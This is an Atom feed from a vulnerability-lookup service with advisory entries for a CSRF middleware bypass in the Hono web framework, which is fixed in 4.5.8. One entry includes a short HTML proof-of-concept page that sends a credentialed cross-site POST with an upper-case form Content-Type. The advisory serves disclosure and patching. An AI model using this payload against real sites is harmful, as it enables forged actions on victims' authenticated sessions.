<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-15T21:41:38.884765+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-159539</id>
    <title>EUVD-2026-159539</title>
    <updated>2026-10-15T21:41:38.886974+00:00</updated>
    <content>EUVD-2026-159539</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-159539"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-43787</id>
    <title>fkie_cve-2024-43787</title>
    <updated>2026-10-15T21:41:38.887009+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-43787"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-rpfr-3m35-5vx5</id>
    <title>GHSA-rpfr-3m35-5vx5 — Hono CSRF middleware can be bypassed using crafted Content-Type header</title>
    <updated>2026-10-15T21:41:38.887039+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: hono</p>
<p>### Summary</p>
<p>Hono CSRF middleware can be bypassed using crafted Content-Type header.</p>
<p>### Details</p>
<p>MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.</p>
<p>https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17</p>
<p>As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".</p>
<p>### PoC</p>
<p>```html
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;CSRF Test&lt;/title&gt;
    &lt;script defer&gt;
      document.addEventListener("DOMContentLoaded", () =&gt; {
        document.getElementById("btn").addEventListener("click", async () =&gt; {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;CSRF Test&lt;/h1&gt;
    &lt;button id="btn"&gt;Click me!&lt;/button&gt;
  &lt;/body&gt;
&lt;/html&gt;
```</p>
<p>### Impact</p>
<p>Bypass csrf protection implemented with hono csrf middleware.</p>
<p>### Discussion</p>
<p>I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-rpfr-3m35-5vx5"/>
  </entry>
</feed>
